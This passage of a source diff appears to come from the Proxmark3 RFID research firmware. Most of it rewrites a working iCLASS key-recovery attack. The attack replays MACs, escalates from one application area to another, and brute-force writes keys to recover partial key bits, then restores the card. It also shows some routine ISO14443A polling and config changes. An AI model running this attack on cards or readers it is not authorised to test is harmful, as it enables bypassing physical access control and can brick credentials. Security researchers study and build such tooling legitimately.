uint8_t mac2[4] = {0}; - uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2); - if (res == false) { - Dbprintf(_RED_("Unable to authenticate with AA2 using K2! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("AA2 authentication with K2 successful!")); - } - + uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t fast_restore_key[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t fast_previous_key[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t fast_current_key[PICOPASS_BLOCK_SIZE] = {0}; + uint32_t index = msg->index; + bool short_delay = msg->short_delay; + int bits_found = -1; + bool recovered = false; + bool completed = false; + bool interrupted = false; uint8_t div_key2[8] = {0}; - memcpy(div_key2, hdr.key_c, 8); + uint32_t eof_time = 0; + uint32_t start_time = 0; + uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 with credit key + uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs - //cycle reader to reset cypher state and be able to authenticate with k1 trace - switch_off(); - Iso15693InitReader(); - DbpString(_YELLOW_("Cycled Reader...")); - - //Step0 Card Select Routine - - eof_time = 0; - //hdr = {0}; - res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); - if (res == false) { - Dbprintf(_RED_("Unable to select card after reader cycle! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Card selected successfully!")); - } - - //Step1 Authenticate with AA1 using trace - - uint8_t mac1[4] = {0}; - start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); - if (res == false) { - Dbprintf(_RED_("Unable to authenticate on AA1 using macs! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Authenticated with AA1 with macs!")); - } - - //Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 - uint8_t blockno = 24; - uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00}; - AddCrc(cmd_read + 1, 1); - uint8_t resp[10]; - DbpString(_YELLOW_("Attempting privilege escalation...")); - res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod); + /* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */ static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table { 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000 @@ -2254,107 +2759,384 @@ void iClass_Recover(iclass_recover_req_t *msg) { { 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110 { 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111 }; - //Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number - static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215}; - /* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. - If we concatenate the last three bits of each key byte, we have a 24 bits long binary string. - If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values - Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */ - - uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - uint32_t index = 1; - int bits_found = -1; + LED_A_ON(); + DbpString(_RED_("Interrupting this process may render the card unusable!")); + memcpy(div_key2, msg->nfa, 8); //START LOOP - while (bits_found == -1) { + uint32_t loops = 1; + bool card_select = false; + bool card_auth = false; + bool priv_esc = false; + int status_message = 0; + int reinit_tentatives = 0; + bool res = false; + picopass_hdr_t hdr = {0}; + uint8_t original_mac[8] = {0}; + uint8_t mac1[4] = {0}; - //Step3 Calculate New Key - uint8_t genkeyblock[PICOPASS_BLOCK_SIZE]; - uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE]; - uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE]; - generate_single_key_block_inverted(zero_key, index, genkeyblock); + while ((card_select == false) || (card_auth == false)) { - //NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED - //xor the new key against the previously generated key so that we only update the difference - if (index != 0) { - generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old); - for (int i = 0; i < 8 ; i++) { - xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i]; - } + Iso15693InitReader(); //has to be at the top as it starts tracing + if (msg->debug == false) { + set_tracing(false); //disable tracing to prevent crashes - set to true for debugging } else { - memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE); + if (loops == 1) { + clear_trace(); //if we're debugging better to clear the trace but do it only on the first loop + } + } + //Step0 Card Select Routine + eof_time = 0; //reset eof time + res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + if (res) { + status_message = 1; //card select successful + card_select = true; } - //Step4 Calculate New Mac + //Step 0A - The read_check_cc block has to be in AA2, set it by checking the card configuration + read_check_cc[1] = hdr.conf.app_limit + 1; //first block of AA2 - bool use_mac = true; - uint8_t wb[9] = {0}; - blockno = 3; - wb[0] = blockno; - memcpy(wb + 1, xorkeyblock, 8); - doMAC_N(wb, sizeof(wb), div_key2, mac2); + //Step1 Authenticate with AA1 using trace + if (card_select) { + memcpy(original_mac, msg->req.key, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res) { + status_message = 2; //authentication with AA1 macs successful + card_auth = true; + } + } - //Step5 Perform Write + if ((card_select == false) || (card_auth == false)) { + reinit_tentatives++; + switch_off(); + } - DbpString("Generated XOR Key: "); - Dbhexdump(8, xorkeyblock, false); + if (reinit_tentatives == 5) { + DbpString(""); + DbpString(_RED_("Unable to select or authenticate with card multiple times! Stopping.")); + goto out; + } + } - if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) { - Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno); - } else { - Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno); - if (index > 1) { - Dbprintf(_RED_("Card is likely to be unusable!")); + while (bits_found == -1) { + + reinit_tentatives = 0; + uint8_t mac2[4] = {0}; + res = false; + + if (BUTTON_PRESS() || loops > msg->loop) { + if (loops > msg->loop) { + completed = true; + } else { + interrupted = true; + } + if (msg->fast) { + goto fast_restore; } goto out; } - //Step6 Perform 8 authentication attempts - for (int i = 0; i < 8 ; ++i) { - //need to craft the authentication payload accordingly - memcpy(msg->req.key, iclass_mac_table[i], 8); - res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter - if (res == true) { - bits_found = iclass_mac_table_bit_values[i] ^ index; - Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index); - Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]); - Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found); - goto restore; + if (msg->test) { + Dbprintf(_YELLOW_("*Cycled Reader*") " TEST Index - Loops: "_YELLOW_("%3d / %3d") " *", loops, msg->loop); + } else if (msg->debug || ((card_select == false) && (card_auth == false))) { + Dbprintf(_YELLOW_("*Cycled Reader*") " Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " *", index, loops, msg->loop); + } else { + DbprintfEx(FLAG_INPLACE, "[" _BLUE_("#") "] Index: "_CYAN_("%3d")" Loops: "_YELLOW_("%3d / %3d")" ", index, loops, msg->loop); + } + + while ((card_select == false) || (card_auth == false)) { + + Iso15693InitReader(); // has to be at the top as it starts tracing + set_tracing(false); // disable tracing to prevent crashes - set to true for debugging + // Step0 Card Select Routine + eof_time = 0; // reset eof time + res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + if (res) { + status_message = 1; // card select successful + card_select = true; + } + + // Step1 Authenticate with AA1 using trace + if (card_select) { + memcpy(original_mac, msg->req.key, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res) { + status_message = 2; //authentication with AA1 macs successful + card_auth = true; + } + } + + if ((card_select == false) || (card_auth == false)) { + reinit_tentatives++; + switch_off(); + } + + if (reinit_tentatives == 5) { + DbpString(""); + DbpString(_RED_("Unable to select or authenticate with card multiple times! Stopping.")); + goto out; } } - index++; - }//end while + // Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1 + if (priv_esc == false) { + priv_esc = do_privilege_escalation(read_check_cc, sizeof(read_check_cc), &eof_time); + if (priv_esc) { + status_message = 3; + } else { + goto out; + } + } + + if (priv_esc && status_message != 3) { + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + status_message = 3; + } + + // Step3 Calculate New Key (Optimised Algo V2) + generate_single_key_block_inverted_opt(zero_key, index, genkeyblock); + if (msg->test) { + memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE); + } + + if (msg->fast) { // if we're skipping restoring the original key to gain speed, xor the new index key with the previous index key and update the difference and track restore values differently + + if (index > 0 && loops > 1) { + generate_single_key_block_inverted_opt(zero_key, index - 1, fast_previous_key); + } else { + memcpy(fast_previous_key, zero_key, PICOPASS_BLOCK_SIZE); + } + + for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + fast_current_key[i] = genkeyblock[i] ^ fast_previous_key[i]; + fast_restore_key[i] = fast_restore_key[i] ^ fast_current_key[i]; + } + + memcpy(genkeyblock, fast_current_key, PICOPASS_BLOCK_SIZE); + } + + // Step4 Calculate New Mac + + uint8_t wb[9] = {0}; + uint8_t blockno = 3; + wb[0] = blockno; + memcpy(wb + 1, genkeyblock, 8); + doMAC_N(wb, sizeof(wb), div_key2, mac2); + bool written = false; + bool write_error = false; + + while (written == false && write_error == false) { + // Step5 Perform Write + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time, short_delay)) { + status_message = 4; // wrote new key on the card - unverified + } + if (msg->fast == false) { // if we're going slow we check at every write that the write actually happened + // Reset cypher state + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + // try to authenticate with the original mac to verify the write happened + memcpy(msg->req.key, original_mac, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (msg->test) { + if (res) { + DbpString(""); + DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***")); + completed = true; + goto out; + } else { + DbpString(""); + DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***")); + goto out; + } + } else { + if (res) { + write_error = true; // failed to update the key, the card's key is the original one + } else { + status_message = 5; // verified the card key was updated to the new one + written = true; + } + } + } else { // if we're going fast we can skip the above checks as we're just xorring the key over and over + status_message = 5; + written = true; + } + } + + if (write_error == false) { + // Step6 Perform 8 authentication attempts + 1 to verify if we found the weak key + for (int i = 0; i < 8 ; ++i) { + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + // need to craft the authentication payload accordingly + memcpy(msg->req.key, iclass_mac_table[i], 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter + if (res == true) { + bits_found = i; + recovered = true; + } + } + + bool reverted = false; + uint8_t revert_retries = 0; + if (msg->fast) { // if we're going fast only restore the original key at the end + if (recovered) { + goto fast_restore; + } + } else { + // if we're NOT going fast, regardless of bits being found, restore the original key and verify it + while (reverted == false) { + // Regain privilege escalation with a readcheck + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + if (iclass_writeblock_sp(blockno, genkeyblock, mac2, shallow_mod, &start_time, &eof_time, short_delay)) { + status_message = 6; // restore of original key successful but unverified + } + // Do a readcheck first to reset the cypher state + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + + // need to craft the authentication payload accordingly + memcpy(msg->req.key, original_mac, 8); + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == true) { + status_message = 7; // restore of original key verified - card usable again + reverted = true; + if (recovered) { + goto restore; + } + } + + revert_retries++; + if (revert_retries >= 7) { // must always be an odd number! + DbpString(""); + DbpString(_CYAN_("Last Written Key: ")); + Dbhexdump(8, genkeyblock, false); + Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + goto out; + } + } + } + } + + if (msg->debug) { + if (status_message >= 1) { + DbpString(""); + DbpString("Card Select:............."_GREEN_("Ok!")); + } + if (status_message >= 2) { + DbpString("AA1 macs authentication:."_GREEN_("Ok!")); + } + if (status_message >= 3) { + DbpString("Privilege Escalation:...."_GREEN_("Ok!")); + } + if (status_message >= 4) { + DbpString("Wrote key: "); + Dbhexdump(8, genkeyblock, false); + } + if (status_message >= 5) { + DbpString("Key Update:.............."_GREEN_("Verified!")); + } + if (status_message >= 6) { + DbpString("Original Key Restore:...."_GREEN_("Ok!")); + } + if (status_message >= 7) { + DbpString("Original Key Restore:...."_GREEN_("Verified!")); + } + } + + if (write_error && (msg->debug || msg->test)) { // if there was a write error, re-run the loop for the same key index + DbpString("Loop Error: "_RED_("Repeating Loop!")); + card_select = false; + card_auth = false; + priv_esc = false; + } else { + loops++; + index++; + status_message = 2; + } + + }// end while + +fast_restore: + ;// empty statement for compilation + uint8_t mac2[4] = {0}; + uint8_t wb[9] = {0}; + uint8_t blockno = 3; + wb[0] = blockno; + bool reverted = false; + uint8_t revert_retries = 0; + + while (reverted == false) { + // Regain privilege escalation with a readcheck + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod); + memcpy(wb + 1, fast_restore_key, 8); + doMAC_N(wb, sizeof(wb), div_key2, mac2); + + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + if (iclass_writeblock_sp(blockno, fast_restore_key, mac2, shallow_mod, &start_time, &eof_time, short_delay)) { + status_message = 6; // restore of original key successful but unverified + } + + // Do a readcheck first to reset the cypher state + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod); + + // need to craft the authentication payload accordingly + memcpy(msg->req.key, original_mac, 8); + + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); + if (res == true) { + status_message = 7; // restore of original key verified - card usable again + reverted = true; + } + + revert_retries++; + if (revert_retries >= 7) { // must always be an odd number! + DbpString(""); + DbpString(_CYAN_("Last Written Key (fast): ")); + Dbhexdump(8, fast_restore_key, false); + Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries); + } + if (recovered) { + goto restore; + } else { + goto out; + } + } restore: - ;//empty statement for compilation - uint8_t partialkey[PICOPASS_BLOCK_SIZE]; - convertToHexArray(bits_found, partialkey); + ;// empty statement for compilation + uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0}; - uint8_t resetkey[PICOPASS_BLOCK_SIZE]; - convertToHexArray(index, resetkey); - - //Calculate reset Mac - - bool use_mac = true; - uint8_t wb[9] = {0}; - blockno = 3; - wb[0] = blockno; - memcpy(wb + 1, resetkey, 8); - doMAC_N(wb, sizeof(wb), div_key2, mac2); - - //Write back the card to the original key - DbpString(_YELLOW_("Restoring Card to the original key using Reset Key: ")); - Dbhexdump(8, resetkey, false); - if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) { - Dbprintf("Restore of Original Key "_GREEN_("successful. Card is usable again.")); - } else { - Dbprintf("Restore of Original Key " _RED_("failed. Card is likely unusable.")); + for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + if (msg->fast) { + partialkey[i] = fast_restore_key[i] ^ bits_found; + } else { + partialkey[i] = genkeyblock[i] ^ bits_found; + } } - //Print the 24 bits found from k1 - DbpString(_YELLOW_("Raw Key Partial Bytes: ")); + + // Print the bits decimal value + DbpString(""); + DbpString(_RED_("--------------------------------------------------------")); + Dbprintf("Decimal Value of last 3 bits: " _GREEN_("[%3d]"), bits_found); + // Print the 24 bits found from k1 + DbpString(_RED_("--------------------------------------------------------")); + DbpString(_RED_("SUCCESS! Raw Key Partial Bytes: ")); Dbhexdump(8, partialkey, false); + DbpString(_RED_("--------------------------------------------------------")); switch_off(); reply_ng(CMD_HF_ICLASS_RECOVER, PM3_SUCCESS, NULL, 0); @@ -2362,6 +3144,11 @@ restore: out: switch_off(); - reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0); - + if (completed) { + reply_ng(CMD_HF_ICLASS_RECOVER, PM3_EINVARG, NULL, 0); + } else if (interrupted) { + reply_ng(CMD_HF_ICLASS_RECOVER, PM3_EOPABORTED, NULL, 0); + } else { + reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0); + } } diff --git a/armsrc/iclass.h b/armsrc/iclass.h index 1480ef56c..2d2bf8c42 100644 --- a/armsrc/iclass.h +++ b/armsrc/iclass.h @@ -34,6 +34,7 @@ // times in samples @ 212kHz when acting as reader #define ICLASS_READER_TIMEOUT_ACTALL 330 // 1558us, nominal 330us + 7slots*160us = 1450us #define ICLASS_READER_TIMEOUT_UPDATE 3390 // 16000us, nominal 4-15ms +#define ICLASS_READER_TIMEOUT_UPDATE_FAST 1500 // A copy of ICLASS_READER_TIMEOUT_UPDATE with reduced timeout values #define ICLASS_READER_TIMEOUT_OTHERS 80 // 380us, nominal 330us // The length of a received command will in most cases be no more than 18 bytes. @@ -71,6 +72,6 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui uint8_t get_pagemap(const picopass_hdr_t *hdr); void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod); -void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock); void iClass_Recover(iclass_recover_req_t *msg); +void iClass_TearBlock(iclass_tearblock_req_t *msg); #endif diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index cc0ac3df7..3f1f4595b 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -35,9 +35,10 @@ #include "crc16.h" #include "protocols.h" #include "generator.h" +#include "desfire_crypto.h" // UL-C authentication helpers +#include "mifare.h" // for iso14a_polling_frame_t structure #define MAX_ISO14A_TIMEOUT 524288 - // this timeout is in MS static uint32_t iso14a_timeout; @@ -132,6 +133,34 @@ static uint32_t LastProxToAirDuration; #define SEC_Y 0x00 #define SEC_Z 0xc0 + +static const iso14a_polling_frame_t WUPA_CMD_FRAME = { + .frame = { ISO14443A_CMD_WUPA }, + .frame_length = 1, + .last_byte_bits = 7, + .extra_delay = 0 +}; + +static const iso14a_polling_frame_t MAGWUPA_CMD_FRAMES[] = { + {{ MAGSAFE_CMD_WUPA_1 }, 1, 7, 0}, + {{ MAGSAFE_CMD_WUPA_2 }, 1, 7, 0}, + {{ MAGSAFE_CMD_WUPA_3 }, 1, 7, 0}, + {{ MAGSAFE_CMD_WUPA_4 }, 1, 7, 0} +}; + +// Polling frames and configurations +iso14a_polling_parameters_t WUPA_POLLING_PARAMETERS = { + .frames = { {{ ISO14443A_CMD_WUPA }, 1, 7, 0 }}, + .frame_count = 1, + .extra_timeout = 0, +}; + +iso14a_polling_parameters_t REQA_POLLING_PARAMETERS = { + .frames = { {{ ISO14443A_CMD_REQA }, 1, 7, 0 }}, + .frame_count = 1, + .extra_timeout = 0, +}; + /* Default HF 14a config is set to: forceanticol = 0 (auto) @@ -139,52 +168,62 @@ Default HF 14a config is set to: forcecl2 = 0 (auto) forcecl3 = 0 (auto) forcerats = 0 (auto) + magsafe = 0 (disabled) + polling_loop_annotation = {{0}, 0, 0, 0} (disabled) */ -static hf14a_config hf14aconfig = { 0, 0, 0, 0, 0 } ; +static hf14a_config_t hf14aconfig = { 0, 0, 0, 0, 0, 0, {{0}, 0, 0, 0} }; +static iso14a_polling_parameters_t hf14a_polling_parameters = { + .frames = { {{ ISO14443A_CMD_WUPA }, 1, 7, 0 }}, + .frame_count = 1, + .extra_timeout = 0 +}; -// Polling frames and configurations -iso14a_polling_parameters_t WUPA_POLLING_PARAMETERS = { - .frames = { {{ ISO14443A_CMD_WUPA }, 1, 7, 0} }, - .frame_count = 1, - .extra_timeout = 0, -}; -iso14a_polling_parameters_t REQA_POLLING_PARAMETERS = { - .frames = { {{ ISO14443A_CMD_REQA }, 1, 7, 0} }, - .frame_count = 1, - .extra_timeout = 0, -}; // parity isn't used much static uint8_t parity_array[MAX_PARITY_SIZE] = {0}; +// crypto1 stuff +static uint8_t crypto1_auth_state = AUTH_FIRST; +static uint32_t crypto1_uid; +struct Crypto1State crypto1_state = {0, 0}; + void printHf14aConfig(void) { DbpString(_CYAN_("HF 14a config")); - Dbprintf(" [a] Anticol override.... %s%s%s", + Dbprintf(" [a] Anticol override........... %s%s%s", (hf14aconfig.forceanticol == 0) ? _GREEN_("std") " ( follow standard )" : "", (hf14aconfig.forceanticol == 1) ? _RED_("force") " ( always do anticol )" : "", (hf14aconfig.forceanticol == 2) ? _RED_("skip") " ( always skip anticol )" : "" ); - Dbprintf(" [b] BCC override........ %s%s%s", + Dbprintf(" [b] BCC override............... %s%s%s", (hf14aconfig.forcebcc == 0) ? _GREEN_("std") " ( follow standard )" : "", (hf14aconfig.forcebcc == 1) ? _RED_("fix") " ( fix bad BCC )" : "", (hf14aconfig.forcebcc == 2) ? _RED_("ignore") " ( ignore bad BCC, always use card BCC )" : "" ); - Dbprintf(" [2] CL2 override........ %s%s%s", + Dbprintf(" [2] CL2 override............... %s%s%s", (hf14aconfig.forcecl2 == 0) ? _GREEN_("std") " ( follow standard )" : "", (hf14aconfig.forcecl2 == 1) ? _RED_("force") " ( always do CL2 )" : "", (hf14aconfig.forcecl2 == 2) ? _RED_("skip") " ( always skip CL2 )" : "" ); - Dbprintf(" [3] CL3 override........ %s%s%s", + Dbprintf(" [3] CL3 override............... %s%s%s", (hf14aconfig.forcecl3 == 0) ? _GREEN_("std") " ( follow standard )" : "", (hf14aconfig.forcecl3 == 1) ? _RED_("force") " ( always do CL3 )" : "", (hf14aconfig.forcecl3 == 2) ? _RED_("skip") " ( always skip CL3 )" : "" ); - Dbprintf(" [r] RATS override....... %s%s%s", + Dbprintf(" [r] RATS override.............. %s%s%s", (hf14aconfig.forcerats == 0) ? _GREEN_("std") " ( follow standard )" : "", (hf14aconfig.forcerats == 1) ? _RED_("force") " ( always do RATS )" : "", (hf14aconfig.forcerats == 2) ? _RED_("skip") " ( always skip RATS )" : "" ); + Dbprintf(" [m] Magsafe polling............ %s", + (hf14aconfig.magsafe == 1) ? _GREEN_("enabled") : _YELLOW_("disabled") + ); + Dbprintf(" [p] Polling loop annotation.... %s %*D", + (hf14aconfig.polling_loop_annotation.frame_length <= 0) ? _YELLOW_("disabled") : _GREEN_("enabled"), + hf14aconfig.polling_loop_annotation.frame_length, + hf14aconfig.polling_loop_annotation.frame, + "" + ); } /** @@ -195,21 +234,64 @@ void printHf14aConfig(void) { * @brief setSamplingConfig * @param sc */ -void setHf14aConfig(const hf14a_config *hc) { - - if ((hc->forceanticol >= 0) && (hc->forceanticol <= 2)) +void setHf14aConfig(const hf14a_config_t *hc) { + if ((hc->forceanticol >= 0) && (hc->forceanticol <= 2)) { hf14aconfig.forceanticol = hc->forceanticol; - if ((hc->forcebcc >= 0) && (hc->forcebcc <= 2)) + } + + if ((hc->forcebcc >= 0) && (hc->forcebcc <= 2)) { hf14aconfig.forcebcc = hc->forcebcc; - if ((hc->forcecl2 >= 0) && (hc->forcecl2 <= 2)) + } + + if ((hc->forcecl2 >= 0) && (hc->forcecl2 <= 2)) { hf14aconfig.forcecl2 = hc->forcecl2; - if ((hc->forcecl3 >= 0) && (hc->forcecl3 <= 2)) + } + + if ((hc->forcecl3 >= 0) && (hc->forcecl3 <= 2)) { hf14aconfig.forcecl3 = hc->forcecl3; - if ((hc->forcerats >= 0) && (hc->forcerats <= 2)) + } + + if ((hc->forcerats >= 0) && (hc->forcerats <= 2)) { hf14aconfig.forcerats = hc->forcerats; + } + + if ((hc->magsafe >= 0) && (hc->magsafe <= 1)) { + hf14aconfig.magsafe = hc->magsafe; + } + + if (hc->polling_loop_annotation.frame_length >= 0) { + memcpy(&hf14aconfig.polling_loop_annotation, &hc->polling_loop_annotation, sizeof(iso14a_polling_frame_t)); + } + + // iceman: Somehow I think we should memcpy WUPA_CMD and all other hf14a_polling_parameters.frames[xxx] assignments + // right now we are assigning... + + // Derive polling loop configuration based on 14a config + hf14a_polling_parameters.frames[0] = WUPA_CMD_FRAME; + hf14a_polling_parameters.frame_count = 1; + hf14a_polling_parameters.extra_timeout = 0; + + if (hf14aconfig.magsafe == 1) { + + for (int i = 0; i < ARRAYLEN(MAGWUPA_CMD_FRAMES); i++) { + if (hf14a_polling_parameters.frame_count < ARRAYLEN(hf14a_polling_parameters.frames) - 1) { + hf14a_polling_parameters.frames[hf14a_polling_parameters.frame_count] = MAGWUPA_CMD_FRAMES[i]; + hf14a_polling_parameters.frame_count++; + } + } + } + + if (hf14aconfig.polling_loop_annotation.frame_length > 0) { + + if (hf14a_polling_parameters.frame_count < ARRAYLEN(hf14a_polling_parameters.frames) - 1) { + hf14a_polling_parameters.frames[hf14a_polling_parameters.frame_count] = hf14aconfig.polling_loop_annotation; + hf14a_polling_parameters.frame_count++; + } + hf14a_polling_parameters.extra_timeout = 250; + } } -hf14a_config *getHf14aConfig(void) { +hf14a_config_t *getHf14aConfig(void) { return &hf14aconfig; } @@ -288,16 +370,16 @@ tUart14a *GetUart14a(void) { void Uart14aReset(void) { Uart.state = STATE_14A_UNSYNCD; + Uart.shiftReg = 0; // shiftreg to hold decoded data bits Uart.bitCount = 0; Uart.len = 0; // number of decoded data bytes - Uart.parityLen = 0; // number of decoded parity bytes - Uart.shiftReg = 0; // shiftreg to hold decoded data bits - Uart.parityBits = 0; // holds 8 parity bits - Uart.startTime = 0; - Uart.endTime = 0; - Uart.fourBits = 0x00000000; // clear the buffer for 4 Bits Uart.posCnt = 0; Uart.syncBit = 9999; + Uart.parityBits = 0; // holds 8 parity bits + Uart.parityLen = 0; // number of decoded parity bytes + Uart.fourBits = 0x00000000; // clear the buffer for 4 Bits + Uart.startTime = 0; + Uart.endTime = 0; } void Uart14aInit(uint8_t *d, uint16_t n, uint8_t *par) { @@ -339,17 +421,20 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { else if ((Uart.fourBits & (ISO14443A_STARTBIT_MASK >> 7)) == ISO14443A_STARTBIT_PATTERN >> 7) Uart.syncBit = 0; if (Uart.syncBit != 9999) { // found a sync bit - Uart.startTime = non_real_time ? non_real_time : (GetCountSspClk() & 0xfffffff8); + Uart.startTime = (non_real_time) ? non_real_time : (GetCountSspClk() & 0xfffffff8); Uart.startTime -= Uart.syncBit; Uart.endTime = Uart.startTime; Uart.state = STATE_14A_START_OF_COMMUNICATION; } + } else { if (IsMillerModulationNibble1(Uart.fourBits >> Uart.syncBit)) { + if (IsMillerModulationNibble2(Uart.fourBits >> Uart.syncBit)) { // Modulation in both halves - error Uart14aReset(); } else { // Modulation in first half = Sequence Z = logic "0" + if (Uart.state == STATE_14A_MILLER_X) { // error - must not follow after X Uart14aReset(); } else { @@ -357,6 +442,7 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time) { Uart.shiftReg = (Uart.shiftReg >> 1); // add a 0 to the shiftreg Uart.state = STATE_14A_MILLER_Z; Uart.endTime = Uart.startTime + 8 * (9 * Uart.len + Uart.bitCount + 1) - 6; + if (Uart.bitCount >= 9) { // if we decoded a full byte (including parity) Uart.output[Uart.len++] = (Uart.shiftReg & 0xff); 